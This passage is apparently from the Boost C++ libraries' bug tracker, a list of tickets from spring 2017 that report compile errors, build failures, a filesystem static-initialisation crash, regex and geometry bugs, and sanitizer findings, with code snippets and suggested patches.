std::cerr << "[sink_backend] Error while consuming formatted message: " << formatted_message << std::endl << std::endl;

}

}

};

[…]

auto sink = boost::make_shared<sink_type>(std::move(formatted_line_sink));

This fails with a long spew of template errors, evidently because for single-argument constructors, only variants with named parameters are considered (sync_frontend.hpp, BOOST_LOG_SINK_CTOR_FORWARD_INTERNAL_1). This is a regression from 1.59.0.

Adding a dummy int parameter and setting it to 0 makes the code compile.

#12997: bootstarp.bat MinGW failed to build boost engine

shirishr@… — Sun, 30 Apr 2017 03:18:52 GMT

#12996: warning: 'long long' is a C++11

viboes — Sat, 29 Apr 2017 16:22:15 GMT

In file included from ../../../libs/timer/src/auto_timers_construction.cpp:23:
../../../boost/timer/timer.hpp:44:43: warning: 'long long' is a C++11 extension [-Wc++11-long-long]
    void clear() { wall = user = system = 0LL; }

#12995: Clang/C2 support

Sat, 29 Apr 2017 15:02:52 GMT

It would be nice to get Boost to compile under Clang/C2 in Visual C++ 2017. Boost 1.63 almost did that, but Boost 1.64 does not. The problem is that Boost recognizes the compiler as Visual Studio, and then applies the corresponding workarounds. In particular, the workarounds include incorrect "pasting" in the implementation of macros in VC++, but that workaround is then an error under Clang.

#12994: Bugs in make_maximal_planar() function

hunglv.k52tncntt@… — Fri, 28 Apr 2017 18:56:49 GMT

It seems there is a bug in make_maximal_planar() function. I created a r*r planar grid and then triangulated (made the grid maximally planar) the created grid. I tested the output but the output graph is not maximal. I attach my code

#12991: Could not find yacc to build JAM grammar.

jim.mauroff@… — Wed, 26 Apr 2017 16:44:18 GMT

VS2008, XP, Boost 1.64. bootstrap.bat fale to build bootstrap.log indicates boost: "Could not find yacc to build JAM grammar." Recommneds .\build.bat mdvc no help. 1.63 installed OK.

#12990: Boost::process examples fail to compile in Visual studio 2010 Win 7

anonymous — Wed, 26 Apr 2017 16:19:44 GMT

It looks like it was developed assuming C++11.

#12988: boost::geometry::difference doesn't operate correctly when many holes are overlapping

flamaros.xavier@… — Tue, 25 Apr 2017 16:11:38 GMT

I have a multipolygon with an outer that contains many holes that are touching and/or overlapping.

When I make the difference between this multipolygon and an simple polygon that overlap inners the result doesn't contains enough holes. The inners that are overlapped by the polygon I want to substract left from the result.

In my case all inners and the polygon substracted should be unified in one inner in the result.

Here is a picture of inputs : https://drive.google.com/open?id=0BygGiQfhIcvGVk9WX2VFZ0VjRXc

Here is the actual output : https://drive.google.com/open?id=0BygGiQfhIcvGU0RiVGU0dHVwR2c

#12987: boost::filesystem::exists crashes

Leinad — Mon, 24 Apr 2017 16:19:34 GMT

bool dummy = boost::filesystem::exists("C:\\alma.txt");	//1
class Alma
{
public:
	~Alma() { std::cout << boost::filesystem::path("c:\\alma.txt").string() << std::endl; }
};
Alma a;	//2
int main(int argc, char* argv[])
{
	Alma();	//3
	return 0;
}

The reason for the crash is that "dummy" is initialised before "equal_string_ordinal_ic" in the unnamed namespace in operations.cpp. The fix (or a possible fix) is easy. I made operations.cpp a bit uglier by moving static stuff to "perms make_permissions(const path&, DWORD)":

perms make_permissions(const path& p, DWORD attr)
  {
    //this was in the unnamed namespace:
    static PtrRtlEqualUnicodeString rtl_equal_unicode_string_api = PtrRtlEqualUnicodeString(
      ::GetProcAddress(
        ::GetModuleHandleW(L"ntdll.dll"), "RtlEqualUnicodeString"));
    //this was in the unnamed namespace:
    static bool(*equal_string_ordinal_ic)(const wchar_t*, const wchar_t*, PtrRtlEqualUnicodeString) =
      rtl_equal_unicode_string_api ? equal_string_ordinal_ic_1 : equal_string_ordinal_ic_2;
    perms prms = fs::owner_read | fs::group_read | fs::others_read;
    if  ((attr & FILE_ATTRIBUTE_READONLY) == 0)
      prms |= fs::owner_write | fs::group_write | fs::others_write;
    path ext = p.extension();
    if (equal_string_ordinal_ic(ext.c_str(), L".exe", rtl_equal_unicode_string_api)
      || equal_string_ordinal_ic(ext.c_str(), L".com", rtl_equal_unicode_string_api)
      || equal_string_ordinal_ic(ext.c_str(), L".bat", rtl_equal_unicode_string_api)
      || equal_string_ordinal_ic(ext.c_str(), L".cmd", rtl_equal_unicode_string_api))
      prms |= fs::owner_exe | fs::group_exe | fs::others_exe;
    return prms;
  }

I also changed the signatures of two locally used functions:

bool equal_string_ordinal_ic_1(const wchar_t* s1, const wchar_t* s2, PtrRtlEqualUnicodeString rtl_equal_unicode_string_api)
bool equal_string_ordinal_ic_2(const wchar_t* s1, const wchar_t* s2, PtrRtlEqualUnicodeString)

And now that the static stuff is moved from the unnamed namespace to the make_permissions method there is no crash anymore.

At least until I comment out (1). Please note that (3) is needed for the second type of crash. This second type of crash is not entirely new. There is a bug filed 5 years ago. I think someone who is involved in developing boost::filesystem with this info (that the second type of crash does not occur if we call (1) (supposed make_permissions has been fixed)) could sort out that old bug as well. https://svn.boost.org/trac/boost/ticket/6638

This static initialisation/destruction looks a nasty business.

compiler: vc14, static lib, statically linked runtime

#12985: missing include of array_wrapper.hpp in boost/mpi/python/serialize.hpp

abhijit.sovakar@… — Mon, 24 Apr 2017 07:06:08 GMT

Build of boost 1.64 failed because of missing header in boost/mpi/python/serialize.hpp.

It might be a problem of my build environment but this is what I had to do to make it work:

After adding

#include <boost/serialization/array_wrapper.hpp>

in boost/mpi/python/serialize.hpp the build succeeded.

#12984: Impossible make coordinate transformation

kirill.ierusalimov@… — Sun, 23 Apr 2017 18:09:42 GMT

Compiler error occured while compiling lines 172, 174 and 176 in the file geometry/strategies/transform/matrix_transformers.hpp because there no suitable operator in the boost::qvm::mat structure (defined in qvm\mat.hpp).

Problem code:

set<0>(p2, boost::numeric_cast<ct2>(

c1 * m_matrix(0,0) + c2 * m_matrix(0,1) + c3 * m_matrix(0,2) + m_matrix(0,3)));

set<1>(p2, boost::numeric_cast<ct2>(

c1 * m_matrix(1,0) + c2 * m_matrix(1,1) + c3 * m_matrix(1,2) + m_matrix(1,3)));

set<2>(p2, boost::numeric_cast<ct2>(

c1 * m_matrix(2,0) + c2 * m_matrix(2,1) + c3 * m_matrix(2,2) + m_matrix(2,3)));

#12982: Missing header in uBLAS files?

paul.wambergue@… — Fri, 21 Apr 2017 23:49:06 GMT

When building code using the boost library I received two error messages saying

/usr/local/include/boost/numeric/ublas/storage.hpp:301:33:
error: no member named 'make_array' in namespace 'boost::serialization'

and

/usr/local/include/boost/numeric/ublas/matrix.hpp:5979:33:
error: no member named 'make_array' in namespace 'boost::serialization'

So I decided to add the line

#include <boost/serialization/array_wrapper.hpp>

in both the files boost/numeric/ublas/storage.hpp and boost/numeric/ublas/matrix.hpp

Now my code is building properly! Does this mean a line is missing in the source code of ublas? I would be really surprised.

#12981: Building Bjam VC14 WIN10

anonymous — Fri, 21 Apr 2017 19:27:30 GMT

For some reason triggering ./bootstrap.bat returns:

Building Boost.Build engine

Failed to build Boost.Build engine.
Please consult bootstrap.log for further diagnostics.
You can try to obtain a prebuilt binary from
   http://sf.net/project/showfiles.php?group_id=7586&package_id=72941
Also, you can file an issue at http://svn.boost.org
Please attach bootstrap.log in that case.

The bootstrap.log doesn't display any notable error.

#12978: wrong boost::serialization header included in ublas

Mark.Moll@… — Tue, 18 Apr 2017 13:48:41 GMT

numeric/ublas/{matrix, storage}.hpp (and possibly other header files) include <boost/serialization/array.hpp>, but should really include <boost/serialization/array_wrapper.hpp>. Without this change, I get compilation errors with boost 1.64beta2 like these:

error: no member named 'make_array' in namespace 'boost::serialization'

#12975: Add map_options for managed_mapped_file (managed_open_or_create_impl_device_holder)

amirhakh@… — Mon, 17 Apr 2017 07:37:58 GMT

Hello boost developer's

I use managed_mapped_file for my project to create shared data structure and it is very good solution and simple to use. But i have a problem for big data & big query. I nead to have Huge page memory map file for better performance. I was check source code and see where is pass flag to mmap function in linux but no way to pass this flag from managed_mapped_file.

I can to edit source to pass this argument but i hoop to this change added to boost source for all of developer use .

source class hierarchy:

managed_mapped_file

basic_managed_mapped_file

mfile_open_or_create

managed_open_or_create_impl::priv_open_or_create

-> mapped_region (...,addr/*, map_options*/);

source file hierarchy:

managed_mapped_file.hpp

managed_open_or_create_impl.hpp

mapped_region.hpp

tanks

#12974: Log and Asio without defined _WIN32_WINNT

sobolevsv@… — Sun, 16 Apr 2017 13:56:47 GMT

platform: Win10, VC14, boost 1.64

Using Log and Asio simultaneously cause link errors depending on order of includes.

if _WIN32_WINNT not defined and there are several translation units, most of it use only Log and some use both Log and Asio I get link error

if Log includes come first followed by Asio, building complete successfull
for example

#include <boost/log/common.hpp>
#include <boost/log/sources/severity_channel_logger.hpp>
#include <boost/asio.hpp>

but if Asio include comes before Log includes
for example

#include <boost/asio.hpp>
#include <boost/log/common.hpp>
#include <boost/log/sources/severity_channel_logger.hpp>

I get link error: LNK2038: mismatch detected for 'boost_log_abi': value 'v2s_mt_nt5' doesn't match value 'v2s_mt_nt6' in gtclient.obj

this message generated by #pragma detect_mismatch in boost\log\detail\config.hpp :

#if defined(BOOST_LOG_HAS_PRAGMA_DETECT_MISMATCH)
#pragma detect_mismatch("boost_log_abi", BOOST_PP_STRINGIZE(BOOST_LOG_VERSION_NAMESPACE))
#endif

it happend becase Log and Asio use different macros to define target Windows version.

Log use BOOST_USE_WINAPI_VERSION
but Asio use _WIN32_WINNT

in \boost\asio\detail\config.hpp
Asio checks if _WIN32_WINNT defined. if not, it defines it

#  define _WIN32_WINNT 0x0501

BOOST_USE_WINAPI_VERSION defined in boost\detail\winapi\config.hpp

it depends on _WIN32_WINNT and _MSC_VER

#if !defined(BOOST_USE_WINAPI_VERSION)
#if defined(_WIN32_WINNT)
#define BOOST_USE_WINAPI_VERSION _WIN32_WINNT
#elif defined(WINVER)
#define BOOST_USE_WINAPI_VERSION WINVER
#else
// By default use Windows Vista API on compilers that support it and XP on the others
#if (defined(_MSC_VER) && _MSC_VER < 1500) || defined(BOOST_WINAPI_IS_MINGW)
#define BOOST_USE_WINAPI_VERSION BOOST_WINAPI_VERSION_WINXP
#else
#define BOOST_USE_WINAPI_VERSION BOOST_WINAPI_VERSION_WIN6
#endif
#endif
#endif

I think this error appeared in boost 1.60 when Log started using BOOST_USE_WINAPI_VERSION http://www.boost.org/users/history/version_1_60_0.html

if I define _WIN32_WINNT=0x0A00 in compiler option, there are no link error with any includes ordering.

#12973: Example in docs for optional copy constructor is wrong

barry.revzin@… — Fri, 14 Apr 2017 21:52:55 GMT

In the documentation for Optional in the latest version, and many past versions, the example in the copy constructor for optional<T&> reads:

T v = 2 ; T& ref = v ;
optional<T> init(ref);
assert ( *init == v ) ;
optional<T> init2 ( init ) ;
assert ( *init2 == v ) ;
v = 3 ;
assert ( *init  == 3 ) ;
assert ( *init2 == 3 ) ;

Both init and init2 should be of type optional<T&>, not optional<T>.

#12972: converter.hpp uses std::unary_function which is removed in c++17

anonymous — Fri, 14 Apr 2017 21:38:02 GMT

Some code, which uses boost::lexical_cast does not compile on Windows 10 with Visual Studio 2017 Community using the compiler flag /std:c++latest (which enables c++17 standard). From what I understand from this page http://en.cppreference.com/w/cpp/utility/functional/unary_function, std::unary_function will be removed with c++17. However, struct Trivial_converter_impl and struct rounding_converter in file converter.hpp derive from std::unary_function

#12967: boost::none_t should be a literal type like std::nullopt_t

Thu, 13 Apr 2017 12:32:50 GMT

The boost::none_t explicit constructor is not constexpr making it a non literal type. std::nullopt_t's constructor is constexpr making it a non-aggregate literal type as dictated by the standard.

#12965: bug of [[:xdigit:]] matching

freeman_feng@… — Thu, 13 Apr 2017 09:33:56 GMT

boost::regex myRegex{ ":xdigit:{ 1,2 }" }; string s = "\xca\xd5";

cout << boost::regex_match(s,myRegex) << endl;

#12963: boost::time_period::span() returns invalid period if one of the periods is not-a-date-time

willi.burkhardt@… — Wed, 12 Apr 2017 11:32:50 GMT

In some cases, the time_period::span() function returns a less than optimal result. The expected behavior is that if one of the two periods is invalid/not-a-date-time the other is returned.

What I observed is that if one of the two source periods is not-a-date-time, the length() of the period returned is wrong/broken; invalidating the resulting time_period.

I might be wrong with my expectation above, but in this case it should be at least documented. Attached is a global function that I use to "fix" it in my code.

#12962: user overridden cxxflags are not honored for the compilation of some libraries

sascha.kratky@… — Wed, 12 Apr 2017 08:42:03 GMT

Upon linking libboost_regex-mt.a to a shared library I am getting the error:

/usr/bin/ld: /usr/local/lib/libboost_regex-mt.a(instances.o): relocation R_X86_64_32S against `.rodata' can not be used when making a shared object; recompile with -fPIC
/usr/local/lib/libboost_regex-mt.a: could not read symbols: Bad value

I am building boost with -fPIC by running bjam with the following options:

./bjam '-sBUILD=<cflags>-fPIC <cxxflags>-fPIC <linkflags>-fPIC' --without-mpi --without-python --without-iostreams --layout=tagged link=shared,static

bjam does not seem to honor the -fPIC flag upon compilation of libboost_regex-mt:

gcc.compile.c++ bin.v2/libs/regex/build/gcc-4.8/release/link-static/threading-multi/instances.o
    "g++"  -ftemplate-depth-128 -O3 -finline-functions -Wno-inline -Wall -pedantic -pthread -m64  -DBOOST_ALL_NO_LIB=1 -DNDEBUG  -I"." -c -o "bin.v2/libs/regex/build/gcc-4.8/release/link-static/threading-multi/instances.o" "libs/regex/build/../src/instances.cpp"

Looking at the bjam debug log, there seem to be many libraries where user overridden cxxflags are not honored for the compilation. These include libboost_math_tr1-mt.a, libboost_program_options-mt.a, libboost_signals-mt.a, libboost_locale-mt.a and others.

#12959: Regex class negation

robic@… — Mon, 10 Apr 2017 00:24:17 GMT

Pertains to boost::regex Tested on version 1.61

Flags: Perl
Target string: abc092efg
Regex: [^\W\D]+

Function: regex_search

Matches: abc092efg

Should match: 092

Notes

Negative class resolution: 'Not-Not Word' AND 'Not-Not Digit'
The intersection of word AND digits is digits.

Every other regex engine does this correctly.
This includes Perl, PCRE, JS, C++11, Python, etc..

In this engine, [^\W\D] matches what [\w\d] does.
[^\W\D] appears not to be an intersection as the operator in
a negative class is AND.

Fwiw - this behavior is seen with all negated shorthand elements of a
negative class, i.e. [^\S\W] matches all whitespace OR all word char's.

#12952: Interval arithmetic: fmod produces wrong results

stripf@… — Thu, 06 Apr 2017 10:57:39 GMT

Hi,

I found a potential bug within the fmod calculation of the boost interval arithmetic library.

For me the result of fmod([3, 18], [5 5]) is [3, 18] but the correct result should be [0 5].

The function is located in /numeric/interval/arith2.hpp . I checked the boost repository and the function did not change the past years.

I'll try to fix it at my own. You can contact me to get my implementation...

Kind regards,

Timo Stripf

#12951: Warning C4244 generated by packed_oarchive.hpp

l.kiss@… — Wed, 05 Apr 2017 16:02:20 GMT

#include <boost/mpi.hpp>

compiled with VC12 results in:

D:\thirdparty\boost\boost_1_63_0\boost/mpi/packed_oarchive.hpp(125) : error C4244: 'initializing' : conversion from 'int' to 'const int_least16_t', possible loss of data
D:\thirdparty\boost\boost_1_63_0\boost/mpi/packed_oarchive.hpp(130) : error C4244: 'initializing' : conversion from 'boost::archive::version_type::base_type' to 'const int_least8_t', possible loss of data

#12950: boost::lockfree::spsc_queue::produce(Functor)

Wed, 05 Apr 2017 10:11:55 GMT

Want to make elements in-place.

This has similar purpose to #8666 request, but rather then having unsafe two-stage API, I'd rather want produce function as symetric to consume.

#12947: Failed to use memory-mapped file to interprocess communications

Tue, 04 Apr 2017 14:46:04 GMT

In first process we create and write the memory-mapped file through boost::iostreams::mapped_file_sink with boost::iostreams::mapped_file::readwrite flag. In seconde process we attempt to open the same memory-mapped file for read through boost::iostreams::mapped_file_source with boost::iostreams::mapped_file::readonly flag. The aptempt has failed for second process. Windows error code 32 (The process cannot access the file because it is being used by another process). In source code of iostream library we discover the next code that attempt to open file (mapped_file.cpp, void mapped_file_impl::open_file(param_type p)):

DWORD dwDesiredAccess =

readonly ?

GENERIC_READ : (GENERIC_READ | GENERIC_WRITE);

DWORD dwCreationDisposition = (p.new_file_size != 0 && !readonly) ?

CREATE_ALWAYS : OPEN_EXISTING;

DWORD dwFlagsandAttributes =

readonly ?

FILE_ATTRIBUTE_READONLY : FILE_ATTRIBUTE_TEMPORARY;

handle_ = p.path.is_wide() ?

::CreateFileW(

p.path.c_wstr(), dwDesiredAccess, FILE_SHARE_READ, NULL, dwCreationDisposition, dwFlagsandAttributes, NULL ) :

::CreateFileA(

p.path.c_str(), dwDesiredAccess, FILE_SHARE_READ, NULL, dwCreationDisposition, dwFlagsandAttributes, NULL );

if (handle_ == INVALID_HANDLE_VALUE)

cleanup_and_throw("failed opening file");

In both cases (opening the file for write of for read) the dwShareMode flag has FILE_SHARE_READ value. This is wrong! Using the rules that dуscraybed on page https://msdn.microsoft.com/en-us/library/windows/desktop/aa363874(v=vs.85).aspx we corrected the code of function:

DWORD dwDesiredAccess =

readonly ?

GENERIC_READ : (GENERIC_READ | GENERIC_WRITE);

DWORD dwCreationDisposition = (p.new_file_size != 0 && !readonly) ?

CREATE_ALWAYS : OPEN_EXISTING;

DWORD dwFlagsandAttributes =

readonly ?

FILE_ATTRIBUTE_READONLY : FILE_ATTRIBUTE_TEMPORARY;

handle_ = p.path.is_wide() ?

::CreateFileW(

p.path.c_wstr(), dwDesiredAccess, !readonly ? FILE_SHARE_READ : FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, dwCreationDisposition, dwFlagsandAttributes, NULL ) :

::CreateFileA(

p.path.c_str(), dwDesiredAccess, !readonly ? FILE_SHARE_READ : FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, dwCreationDisposition, dwFlagsandAttributes, NULL );

if (handle_ == INVALID_HANDLE_VALUE)

cleanup_and_throw("failed opening file");

#12946: Definition of BOOST_ARCH_ARM does not check aarch64

Tue, 04 Apr 2017 08:48:55 GMT

In this header file http://www.boost.org/doc/libs/1_63_0/boost/predef/architecture/arm.h macros aarch64 should be checked along with arm64 Without that we get problems when building with Android NDK for arm 64, because BOOST_ARCH_ARM is not defined.

Thanks Sergey

#12939: use of boost::graph_bundle with subgraph

ioannis.nousias@… — Wed, 29 Mar 2017 02:30:41 GMT

using boost::graph_bundle with a subgraph picks up the 'vertex' access delegate. This is because boost::graph_bundle enumeration gets downgraded to an integer, which matches the first template specialization in subgraph.hpp

example:

struct VertexProperties { std::string name; };
struct EdgeProperties { std::string name; };
struct GraphProperties { std::string name; };
boost::subgraph< boost::adjacency_list<
	boost::vecS,
	boost::vecS,
	boost::bidirectionalS,
	boost::property<boost::vertex_index_t,size_t,VertexProperties>,
	boost::property<boost::edge_index_t,size_t,EdgeProperties>,
	GraphProperties>
> graph;
auto name = graph[boost::graph_bundle].name;

compiler error:

boost/graph/subgraph.hpp:278:24: error: no match for ternary 'operator?:' (operand types are 'bool', 'boost::adjacency_list<boost::vecS, boost::vecS, boost::bidirectionalS, boost::property<boost::vertex_index_t, long unsigned int, tpg::VertexProperties>, boost::property<boost::edge_index_t, long unsigned int, tpg::EdgeProperties>, tpg::GraphProperties>::graph_bundled {aka tpg::GraphProperties}', and 'boost::adjacency_list<boost::vecS, boost::vecS, boost::bidirectionalS, boost::property<boost::vertex_index_t, long unsigned int, tpg::VertexProperties>, boost::property<boost::edge_index_t, long unsigned int, tpg::EdgeProperties>, tpg::GraphProperties>::vertex_bundled {aka tpg::VertexProperties}')
     { return is_root() ? m_graph[x] : root().m_graph[local_to_global(x)]; }
                        ^
boost/graph/subgraph.hpp: In member function 'typename boost::graph::detail::bundled_result<Graph, Descriptor>::type& boost::subgraph<Graph>::operator[](Descriptor) [with Descriptor = boost::graph_bundle_t; Graph = boost::adjacency_list<boost::vecS, boost::vecS, boost::bidirectionalS, boost::property<boost::vertex_index_t, long unsigned int, tpg::VertexProperties>, boost::property<boost::edge_index_t, long unsigned int, tpg::EdgeProperties>, tpg::GraphProperties>; typename boost::graph::detail::bundled_result<Graph, Descriptor>::type = tpg::GraphProperties]':
boost/graph/subgraph.hpp:278:75: warning: control reaches end of non-void function [-Wreturn-type]
     { return is_root() ? m_graph[x] : root().m_graph[local_to_global(x)]; }

workaround/hack: explicitly use local_property or global_property lookup classes.

auto name = graph[boost::global_property<boost::graph_bundle_t>(boost::graph_bundle)].name;

#12934: asio ssl not support AxTLS

iewj@… — Sat, 25 Mar 2017 15:24:28 GMT

OpenSSL too larger,but asio ssl not support AxTLS. thanks.

#12933: Improve Calculation of Cartesian Point Distances

manfredweis@… — Sat, 25 Mar 2017 14:47:20 GMT

ISSUE:

in <boost/geometry/strategies/cartesian/distance_pythagoras.hpp> currently the distance between points in cartesian space is calculated via the pythagorean theorem (i.e. sqrt(sum of squared coordinate differences);

While that is theoretically correct, the numerics are "horrible" and a much better alternative with very low implementation effort is available via the "Moler and Morrison" algorithm; its convergence rate is cubic and it completely avoids the intermediate blowup of values. The article can be found online here: http://blogs.mathworks.com/images/cleve/moler_morrison.pdf

TODO: check the benefits of the Moler Morrison algorithm and decide about either replacing the current implementation of point distances in cartesian space or, make the Moler Morrison algorithm available as an alternative.

#12932: "Char >> (Literal | Sequence)" unpacking

jetdog330@… — Fri, 24 Mar 2017 21:59:00 GMT

This is the simplest I was able to reduce this to. What is going on here?

Requirements: -Boost 1.62 or 1.63 /w spirit v2 -C++03/C++11/C++14

Steps: g++ test.cpp && ./a.out

Expected: Success: "x" "a" "b" "c"

Result: Success: "x" "a" "" ""

#include <boost/spirit/include/qi.hpp>
#include <cstdlib>
#include <iostream>
#include <string>
int main(int argc, char * argv[]) {
    namespace qi = boost::spirit::qi;
    const std::string input("xabc");
    char x = 0;
    char a = 0;
    char b = 0;
    char c = 0;
    const int result = qi::parse(
        input.begin(),
        input.end(),
            qi::char_ >> (qi::lit("Z") | (qi::char_ >> qi::char_ >> qi::char_)),
            x, a, b, c
    );
    std::cout << (result ? "Success" : "Failure") << ": "
        << '"' << x << "\" \"" << a << "\" \""  << b << "\" \"" << c << '"' << std::endl;
    return result ? EXIT_SUCCESS : EXIT_FAILURE;
}

#12929: linestring with zero points or a single point is not equal to itself

Fri, 24 Mar 2017 11:01:32 GMT

I expect a linestring with zero points or a single point is equal to itself. However, this is not the case for boost::geometry::equals even though the documentation says

Checks if a geometry are spatially equal.

Spatially equal means that the same point set is included.

I expect a linestring with zero points to be equal to all empty point sets. I expect a linestring with a single point to be equal to all single point sets where the single points are equal.

Example:

#include <iostream>
#include <boost/geometry.hpp>
namespace bg = boost::geometry;
using point = bg::model::point<double, 2, bg::cs::cartesian>;
using linestring = bg::model::linestring<point>;
int main() {
    linestring empty;
    linestring single_point_linestring {{0.0, 0.0}};
    linestring single_point_linestring_2 {{0.0, 0.0}};
    std::cout << "empty == empty := " << bg::equals(empty, empty) << '\n';
    std::cout << "single_point_linestring == single_point_linestring := "
              << bg::equals(single_point_linestring, single_point_linestring) << '\n';
    std::cout << "single_point_linestring == single_point_linestring_2 := "
              << bg::equals(single_point_linestring, single_point_linestring_2) << '\n';
}

Output:

empty == empty := 0
single_point_linestring == single_point_linestring := 0
single_point_linestring == single_point_linestring_2 := 0

Expected:

empty == empty := 1
single_point_linestring == single_point_linestring := 1
single_point_linestring == single_point_linestring_2 := 1

#12926: UBSAN complains about "left shift of negative value -4" from boost::icl::interval_bounds::reverse_right()

tgrabiec@… — Thu, 23 Mar 2017 15:39:36 GMT

/usr/include/boost/icl/interval_bounds.hpp:45:74: runtime error: left shift of negative value -4
    #0 0x2e91091 in boost::icl::interval_bounds::reverse_right() const /usr/include/boost/icl/interval_bounds.hpp:45
    #1 0x2eec8cc in boost::enable_if<boost::icl::has_dynamic_bounds<boost::icl::continuous_interval<compatible_ring_position, std::less> >, boost::icl::continuous_interval<compatible_ring_position, std::less>::bounded_domain_type>::type boost::icl::reverse_bounded_upper<boost::icl::continuous_interval<compatible_ring_position, std::less> >(boost::icl::continuous_interval<compatible_ring_position, std::less> const&) /usr/include/boost/icl/concept/interval.hpp:509

boost-1.60.0-8.fc24.x86_64

#12925: boost::asio::ip::tcp::socket::async_read_some() changes socket to non-blocking

yogevch@… — Thu, 23 Mar 2017 09:54:12 GMT

I'm not sure if it's an issue or not, so I'll try to explain without lots of code examples:

I have a socket:

boost::asio::ip::tcp::socket sock(ioservice);
sock.open(boost::asio::ip::tcp::v4());

I've connected the socket to external application with a third party API, which is a blocking call (for a blocking socket):

third_party_connect(sock.native(), ip);

And waited for some data on this socket:

mSubSock.async_read_some(boost::asio::null_buffers(), std::bind(&MyClass::OnData, this, std::placeholders::_1));

When MyClass::OnData got called, I've noticed that the socket turned to non blocking socket:

sock.native_non_blocking(); -> returns 'true'
anotherThirdPartyAPI(sub.native()); -> fails with EAGAIN because socket turned to non-blocking

Then another third party API call fails inside the MyClass::OnData function with errno: EAGAIN.

Is this the expected behaviour? why did my socket changed to non-blocking? (I've checked before the call to 'async_read_some' and it was blocking). I hope I was clear enough. Thanks

#12921: Linker Error with numpy in boost/python

niko.koester@… — Wed, 22 Mar 2017 12:49:15 GMT

I am the author of the attached (and solved) stackoverflow question: http://stackoverflow.com/questions/42899376/lnk2001-error-when-using-boostnumpy/42936160#42936160

My question is, is the described behavior a bug?

Let me start with the answer:

Import the Boost\python numpy package like:

#define BOOST_LIB_NAME "boost_numpy"

#include <boost/python.hpp>

The Problem description (copy from Stackoverflow):

I am trying to call a C++ .dll from Python and return a numpy array. I am using

Anaconda 2.7 x64 Visual Studio 2013 update 5 boost 1.63.0 prebuileded for lib64-msvc-12.0 I managed to compile this simple example frome here and run it in Python:

#include "stdafx.h" #define BOOST_PYTHON_STATIC_LIB #include <boost/python.hpp>

char const* greet() {

return "hello, world";

}

BOOST_PYTHON_MODULE(test) {

using namespace boost::python; def("greet", greet);

} I am unsure about the #define BOOST_PYTHON_STATIC_LIB but without it python could not open the pyd file. I suspected that python could not resolve the references to MSVCR120.dll in the dynamic build, but I am just guessing.

Next step was to include <boost/python/numpy.hpp> and follow this instuctions and start with just creating a numpy::ndarray. Yes, I am aware that void is in contradiction to the intention of getting values, I just wanted to keep things as simple as possible.

#include <boost/python/numpy.hpp> namespace p = boost::python; namespace np = boost::python::numpy;

void getNPArray() {

Py_Initialize(); np::initialize(); p::object tu = p::make_tuple('a', 'b', 'c'); np::ndarray const example_tuple = np::array(tu); return;

} The import and namespace declarations compile without error. At next step I encountered the linker error. While Py_Initialize() worked fine, the np::initialize() causes the linker to throw

error LNK2001: unresolved external symbol "void cdecl boost::python::numpy::initialize(bool)" (?initialize@numpy@python@boost@@YAX_N@Z) And np::ndarray const example_tuple = np::array(tu) causes a

error LNK2001: unresolved external symbol "class boost::python::numpy::ndarray cdecl boost::python::numpy::array(class boost::python::api::object const &)" (?array@numpy@python@boost@@YA?AVndarray@123@AEBVobject@api@23@@Z) As the linker is perfectly happy with the first example I am toally confused about what is going on here. I also tried to comment out all parts from the first example and just compile the second part witout any change in behaviour.

#12918: Spirit:extra template parameters in mini_c sample

Mon, 20 Mar 2017 12:04:41 GMT

as the following code shows,
boost_1_63_0\boost\utility\result_of.hpp

                  .
                  .
                  .
template<typename F, typename FArgs>
struct result_of_nested_result : F::template result<FArgs>
{};
                  .
                  .
                  .

struct result only needs one template parameter.But in the next two files in mini_c sample, result is provided more template parameters. Because of this, the code can't ran successfully.

I write "/* */" behind the code need to be removed

boost_1_63_0\libs\spirit\example\qi\compiler_tutorial\mini_c\annotation.hpp

#if !defined(BOOST_SPIRIT_MINIC_ANNOTATION_HPP)
#define BOOST_SPIRIT_MINIC_ANNOTATION_HPP
#include <map>
#include <boost/variant/apply_visitor.hpp>
#include <boost/type_traits/is_base_of.hpp>
#include <boost/mpl/bool.hpp>
#include "ast.hpp"
namespace client
{
    template <typename Iterator>
    struct annotation
    {
        template <typename,typename>  /*the second "typename" need to be removed*/
        struct result { typedef void type; };
        std::vector<Iterator>& iters;
        annotation(std::vector<Iterator>& iters)
          : iters(iters) {}
                    .
                    .
                    .
     }
}

boost_1_63_0\libs\spirit\example\qi\compiler_tutorial\mini_c\error_handler.hpp

#if !defined(BOOST_SPIRIT_MINIC_ERROR_HANDLER_HPP)
#define BOOST_SPIRIT_MINIC_ERROR_HANDLER_HPP
#include <iostream>
#include <string>
#include <vector>
namespace client
{
    template <typename Iterator>
    struct error_handler
    {
        template <typename, typename, typename>   /*the second and the third "typename" need to be removed*/
        struct result { typedef void type; };
        error_handler(Iterator first, Iterator last)
          : first(first), last(last) {}
                           .
                           .
                           .
      }
}

#12917: string_ref not constructible from rvalue strings anymore

Mathias Gaunard — Mon, 20 Mar 2017 08:47:44 GMT

The change introduced in this commit is a regression https://github.com/boostorg/utility/commit/9960d9f395b79ee860e39064cd46961f76d2cb55

This breaks user code and is inconsistent with std::string_view. It is therefore undesirable.

#12916: Network Issue

rabindra@… — Mon, 20 Mar 2017 06:30:10 GMT

My Tcp server occasionally has async_read calls failing with: The semaphore timeout period has expired (121) This is from boost::asio::async_read on a connected TCP socket. I have master and slave server communication, Slave is sending request to master and master socket is showing "The semaphore time out period has expired". Is there any way to handle this issue on requested server?

#12913: Undefined behaviour in serialization library

John Maddock — Sun, 19 Mar 2017 18:28:47 GMT

Hi Robert,

while testing multiprecision with clang's sanitizers I found some undefined behaviour in the serialization lib. The issue can be seen by running serialization's own tests with undefined-behaviour sanitizer turned on - in fact nearly all the tests fail, but most of the failures look like issues with the tests rather than the library. However building test_binary_xml_archive with clang++ -fsanitize=address -fsanitize=undefined -fno-sanitize-recover=undefined results in:

../../../boost/archive/detail/interface_oarchive.hpp:47:16: runtime error: downcast of address 0x7ffd0a934990 which does not point to an object of type 'boost::archive::xml_oarchive'
0x7ffd0a934990: note: object is of type 'boost::archive::xml_oarchive_impl<boost::archive::xml_oarchive>'
 fd 7f 00 00  78 ae d3 9c d6 7f 00 00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 00 00
              ^~~~~~~~~~~~~~~~~~~~~~~
              vptr for 'boost::archive::xml_oarchive_impl<boost::archive::xml_oarchive>'
SUMMARY: AddressSanitizer: undefined-behavior ../../../boost/archive/detail/interface_oarchive.hpp:47:16 in

